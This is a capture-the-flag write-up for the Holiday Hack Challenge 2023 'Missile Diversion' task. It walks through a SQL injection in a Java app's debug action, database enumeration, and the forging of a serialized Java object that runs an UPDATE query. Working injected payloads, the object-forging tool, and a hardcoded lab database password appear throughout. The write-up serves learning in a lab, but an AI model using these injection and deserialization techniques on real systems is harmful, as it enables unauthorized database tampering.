Holiday Hack Challenge 2023 Report Cody Travis <cwtravis@gmail.com>
Top

Missile Diversion

Difficulty:

Description:

Thwart Jack's evil plan by re-aiming his missile at the Sun.


Solution

Solution

This is the next step directly after the "Camera Access" objective. I have identified Jack Frost as the culprit behind the malicious ChatNPT outputs, now I must thwart Jack's plan to launch a missile at the Geese Islands!

If you haven't read through the Camera Access solution, please do that first so that the terminology and tools will make sense.

As with most of these objectives, there is more than one way to solve them. The way I solved it was exploiting a SQL Injection flaw in the implimentation of the Consumer Testing Tool (CTT) as well as a Java Serialized object execution flaw to change the target of the missile the Sun instead of the Geese Islands.


Missile App

Missile Targeting System

Recall that there was a "missile-targeting-system" application along side the "camera" one we used to see Jack in his satellite. I launched the app in the same way. I connected to the "nanosat-mo-supervisor" provider, navigated to the "Apps Launcher Service" tab, selected "missile-targeting-system" and clicked the button "runApp".

CTT: Missile Targeting System App

The result of running the Missile Targeting System app is the status is now "Running" and the URI is output to the console window in the CTT. I copied that URI (maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Directory) and pasted into the Communication Settings tab, and clicked "Fetch Information" and "Connect to Selected Provider" buttons.

When connected to the "Missile Targeting System" app, the "App: missile-targeting-system" tab appears. Again, with trial and error, the tabs that we need to pay attention to are "Action service" and "Parameter service". This is how I invoked actions on the Missile app and read the result of those actions.

There is only one Action: Debug. This is really the only action I can use to interact with the app so I started there.

Missile Targeting System: Debug Action


SQL Injection

SQL Injection

I tested the Debug action by just clicking "submitAction" on the Debug action in the Action service tab. I submitted the default arguments for the action and recieved a success message. To read the result I switched to the Parameter service tab, select Debug, and clicked the "getValue" button.

A dialog appears with the result:

Debug Action Result

The result of the Debug action is a SQL query. It looks like the Debug action executed a "SELECT VERSION();" query on a MariaDB. I found out one thing at this point that made my life easier as I was working with this Debug action. If I switched back to the "nanosat-mo-supervisor" tab, and Apps Launcher server subtab, the output of the Debug action is in the console output there:

Debug Action Result 2

The result is printed there as well as the calling class and method.

  </>
Markdown
2024-01-04 15:00:59.024 esa.mo.nmf.apps.MissileTargetingSystemMCAdapter sqlDebug
INFO: Debug action output: VERSION(): 11.2.2-MariaDB-1:11.2.2+maria~ubu2204 | 
Debug Calling Class and Method

The calling class is "esa.mo.nmf.apps.MissileTargetingSystemMCAdapter" and the calling method inside that class is sqlDebug(). This allowed me to go find the class and run it through a java decompilation. The path to the calling class on the running container is:
/opt/nmf/lib/missile-targeting-system-2.1.0-SNAPSHOT.jar/esa/mo/nmf/apps/MissileTargetingSystemMCAdapter.class

If you are looking at the container zip on your local system, the path to the class is:
/client_container/assets/nmf/lib/missile-targeting-system-2.1.0-SNAPSHOT.jar/esa/mo/nmf/apps/MissileTargetingSystemMCAdapter.class

You will need to unzip the jar file before accessing the class file.

I ran that through an online java decompiler servicer (https://www.decompiler.com) and viewed the source of the class. I won't post the full file here but you can look at it here:
MissileTargetingSystemMCAdapter.java

Inspecting the sqlDebug method in MissileTargetingSystemMCAdapter.java, it is clear that there is a SQL injection. It even takes an argument called "injection"! Here is an excerpt of the method with some parts removed for clarity:

  </>
Java
private String sqlDebug(String injection) {
    String query = "SELECT VERSION()" + injection;
    StringBuilder resultString = new StringBuilder();

    try {
		Connection connection = DriverManager.getConnection("jdbc:mariadb://localhost:3306/missile_targeting_system?allowMultiQueries=true", "targeter", "cu3xmzp9tzpi00bdqvxq");
        try {
			Statement statement = connection.createStatement();
			try {
				boolean hasResultSet = statement.execute(query);
...
...
...

	LOG.log(Level.INFO, "Debug action output: {0}", resultString.toString());
	return resultString.toString();
}
sqlDebug Source Code

The sqlDebug function will take the one argument, append it to the version SQL query and executes it. It gets the response, converts it to a string, prints the result in the log, and then returns the string. There is another issue in this code in that the password for the db user "targeter" is stored in source code. The password is "cu3xmzp9tzpi00bdqvxq".

I confirmed the SQL injection issue by clicking the submitAction button for the Debug action, clicking "Edit" on the first argument, and editing the argument to the CTT Debug action to be "; SHOW TABLES". Once I got the success message, I looked at the nanosat-mo-supervisor console output again to see the result. The tables in the database were printed there!

SQLi Proof of Concept


Database Enumeration

Database Enumeration

Armed with this SQLi issue, I could enumerate the database. I used a series of queries to print all of the data out of the database.

With these 5 queries I was able to get the user permissions for the targeter user on the database as well as pull all the information out of the databse. If you want see the entire contents of the database, I will put them in a file here:
db_contents.txt

Some important information is discovered in the database. There is a "pointing_mode" table that contains which pointing mode value the missile targeting system is using as well as a table called "pointing_mode_to_str" which describes which values can be used in the "pointing_mode" table and what they do.

id numerical_mode str_mode str_desc
1 0 Earth Point Mode When pointing_mode is 0, targeting system applies the target_coordinates to earth.
2 1 Sun Point Mode When pointing_mode is 1, targeting system points at the sun, ignoring the coordinates.
pointing_mode_to_str values

So pointing_mode value of 1 is "Sun Point Mode". I checked the value of "pointing_mode":

  </>
SQL
SELECT * FROM pointing_mode;

id: 1 | numerical_mode: 0 | 
Current pointing_mode Value

As expected the current pointing_mode is "Earth Point Mode". I needed to find a way to update the "numerical_mode" value in the "pointing_mode" table to be 1 instead of 0. It is not as simple as running and UPDATE query in the SQLi. If you try that you get an error. I attempted to execute "UPDATE pointing_mode SET numerical_mode=1" and got this result:

  </>
Console
[ WARN] (ActionsExecutor-thread-2) Error: 1142-42000: UPDATE command denied to user 'targeter'@'172.18.0.5' for table `missile_targeting_system`.`pointing_mode`
2024-01-04 16:34:28.449 esa.mo.nmf.apps.MissileTargetingSystemMCAdapter sqlDebug
WARNING: Debug action error: java.sql.SQLSyntaxErrorException: (conn=6881) UPDATE command denied to user 'targeter'@'172.18.0.5' for table `missile_targeting_system`.`pointing_mode`
2024-01-04 16:34:28.450 esa.mo.nmf.apps.MissileTargetingSystemMCAdapter sqlDebug
WARNING: Debug action query: SELECT VERSION(); UPDATE pointing_mode SET numerical_mode=1
UPDATE Query Error

I got a permissions error saying I could not perform an UPDATE on the pointing_mode table. In fact, I can refer to the output of the SHOW GRANTS query to see what permissions I have on which tables:

Table Permission
messaging SELECT
pointing_mode SELECT
pointing_mode_to_str SELECT
target_coordinates SELECT
satellite_query SELECT, INSERT
GRANTS For User targeter

The only table I can affect is the satellite_query table. The user I control has INSERT on this table. But what is it? It only has 3 columns:

  </>
Console
COLUMN_NAME: jid | COLUMN_TYPE: int(11) | IS_NULLABLE: NO | COLUMN_KEY: PRI | COLUMN_DEFAULT: null | EXTRA: auto_increment | 
COLUMN_NAME: object | COLUMN_TYPE: blob | IS_NULLABLE: YES | COLUMN_KEY:  | COLUMN_DEFAULT: null | EXTRA:  | 
COLUMN_NAME: results | COLUMN_TYPE: text | IS_NULLABLE: YES | COLUMN_KEY:  | COLUMN_DEFAULT: null | EXTRA:  | 
SHOW COLUMNS FROM satellite_query


Serialized Java

Serialized Java

When I did a SELECT on satellite_query there was only one row. The "object" field looked like a serialized Java object and the "result" field was a java source file. If you want to view the java source file you can here:
SatelliteQueryFileFolderUtility.java

Inspecting SatelliteQueryFileFolderUtility.java, The object accepts 3 parameters to its constructor: String pathOrStatement, boolean isQuery, and boolean isUpdate. It also has a method called "getResults". To summarize this method, it does the following:

Then I looked at the serialized Java object. I pulled it out of the database using MariaDB's TO_BASE64 function. I executed ";SELECT TO_BASE64(object) as b64_object FROM satellite_query":

  </>
SQL
SELECT TO_BASE64(object) as b64_object FROM satellite_query;

b64_object: rO0ABXNyAB9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5EtT2jQ6zkssCAANaAAdpc1F1
ZXJ5WgAIaXNVcGRhdGVMAA9wYXRoT3JTdGF0ZW1lbnR0ABJMamF2YS9sYW5nL1N0cmluZzt4cAAA
dAApL29wdC9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5LmphdmE=
object as base64

I base64 decoded this string to a file and viewed it in a hex editor:

Serialized Java Object

I noticed two things. The first thing about this object is that the first two bytes are "AC ED" which is indicative of a serialized Java object. The second thing is that a path "/opt/SatelliteQueryFileFolderUtility.java" is at the end of the object. This tells me that the object that was serialized was a SatelliteQueryFileFolderUtility object that was likely created the following way:

  </>
Java
SatelliteQueryFileFolderUtility obj = new SatelliteQueryFileFolderUtility("/opt/SatelliteQueryFileFolderUtility.java", false, false);
Source Java Object

This object would output its own source code when the getResults() method is run. This is like a SQLi within a SQLi. If I could forge a serialized Java object that can execute an UPDATE query, I could complete the objective. To do this, I started by compiling SatelliteQueryFileFolderUtility.java. The only complication here is that since it references Google's gson jar file as a dependency, you need to provide the path to this jar in the classpath argument to the compile.

  </>
Bash
javac -cp gson-2.8.9.jar SatelliteQueryFileFolderUtility.java
Compiling SatelliteQueryFileFolderUtility.java

Now I needed a way to create objects of type SatelliteQueryFileFolderUtility, serialize them, then write them to files. To do this, I created a file WriteSerialized.java. This file accepts 4 parameters pathOrStatement, isQuery, isUpdate, and output file. Source code is here:

  </>
Java
import java.io.*;

class WriteSerialized
{
    public static void main(String[] args)
    {   
		String pathOrStatement = args[0];
		boolean isQuery = args[1].equals("true");
		boolean isUpdate = args[2].equals("true");
		String filename = args[3];
		System.out.println("Creating Object:");
		System.out.println("SatelliteQueryFileFolderUtility obj = new SatelliteQueryFileFolderUtility(\""+pathOrStatement+"\", "+args[1]+", "+args[2]+");");
        SatelliteQueryFileFolderUtility obj = new SatelliteQueryFileFolderUtility(pathOrStatement, isQuery, isUpdate);
		
        try
        {   
            //Serialize the object and write it to a file
            FileOutputStream file = new FileOutputStream(filename, false);
            ObjectOutputStream out = new ObjectOutputStream(file);
            out.writeObject(obj);
            out.close();
            file.close();  
            System.out.println("obj has been serialized and saved to "+filename);
        }catch(IOException ex){
            System.out.println("Something went wrong!");
        }
    }
}
WriteSerialized.java

To test WriteSerialized.java I compiled it and created an object using "/opt/SatelliteQueryFileFolderUtility.java" as pathOrStatement, and isQuery and isUpdate both set to false.

  </>
Bash
java WriteSerialized "/opt/SatelliteQueryFileFolderUtility.java" false false outtest.ser
Creating Object:
SatelliteQueryFileFolderUtility obj = new SatelliteQueryFileFolderUtility("/opt/SatelliteQueryFileFolderUtility.java", false, false);
obj has been serialized and saved to outtest.ser
Recreating the object from the database

I then compared the output file outtest.ser to the original object from the database using my hex editor's compare feature and it said both files were identical!

Java Object Comparison


Sun Point Mode

Enable Sun Point Mode

I can now create serialized SatelliteQueryFileFolderUtility objects with arbitrary parameters. I created an object with the following parameters:

  </>
Bash
java WriteSerialized "UPDATE pointing_mode SET numerical_mode=1;" true true update.ser
Creating Object:
SatelliteQueryFileFolderUtility obj = new SatelliteQueryFileFolderUtility("UPDATE pointing_mode SET numerical_mode=1;", true, true);
obj has been serialized and saved to update.ser
Object with UPDATE query

With this object created, I had to construct a base64 encoded string of the file update.ser so I could use it in a query.

  </>
Bash
base64 -w 0 update.ser
rO0ABXNyAB9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5EtT2jQ6zkssCAANaAAdpc1F1ZXJ5WgAIaXNVcGRhdGVMAA9wYXRoT3JTdGF0ZW1lbnR0ABJMamF2YS9sYW5nL1N0cmluZzt4cAEBdAAqVVBEQVRFIHBvaW50aW5nX21vZGUgU0VUIG51bWVyaWNhbF9tb2RlPTE7
Base64 Encode Java Object

Note: The "-w 0" argument is important for base64 so it doesn't inject new lines in the output.

Now I could construct a query using the Debug action SQL injection exploit to insert this object into the satellite_query table.

  </>
Bash
; INSERT INTO satellite_query (object) VALUES (FROM_BASE64('rO0ABXNyAB9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5EtT2jQ6zkssCAANaAAdpc1F1ZXJ5WgAIaXNVcGRhdGVMAA9wYXRoT3JTdGF0ZW1lbnR0ABJMamF2YS9sYW5nL1N0cmluZzt4cAEBdAAqVVBEQVRFIHBvaW50aW5nX21vZGUgU0VUIG51bWVyaWNhbF9tb2RlPTE7'));
INSERT Query for Base64 Encoded Java Object

After submitting this action, I checked the result by reading the results column from satellite_query and also checking the current value for pointing_mode:

Sun Point Mode Enabled!

It worked! The pointing_mode has been set to "Sun Point Mode" value 1. I checked the objective in my badge at KringleCon and it had been marked as complete!

Now that the missile has been diverted, go talk to Santa at Rudolf's Rest Resort Lobby to hear the rest of the story.